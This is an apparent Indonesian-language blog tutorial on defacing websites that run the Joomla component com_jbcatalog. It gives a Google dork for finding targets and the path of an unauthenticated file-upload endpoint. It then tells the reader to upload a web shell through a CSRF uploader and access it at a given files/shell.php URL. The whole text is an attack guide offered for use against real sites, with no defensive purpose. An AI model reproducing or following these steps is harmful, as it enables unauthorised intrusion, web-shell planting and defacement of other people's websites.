hay guy ok kali ini cakil akan share tutorial deface com_jbcatalog
gausah banyak bacot langsung ae simak baik baik oc
1.dork inurl:/com_jbcatalog/ 
(kembangkan)
2.masukan dork di hatimu heheh canda.. masukan dork di google
3.kalo sudah cari target mu
4.masukan exploit nya : http://target.com/path/components/com_jbcatalog/libraries/jsupload/server/php/
5. vuln akan terlihat seperti ini 
6.buka csrf kamu bisa download disini
7.upload shell mu
(liat gambar)
8.kalo sudah tinggal tebas deh
akses  shell
https://target/com_jbcatalog/libraries/jsupload/server/php/files/shell.php

gampang kan :V ok sekian dan terima kasih
saran or request monggo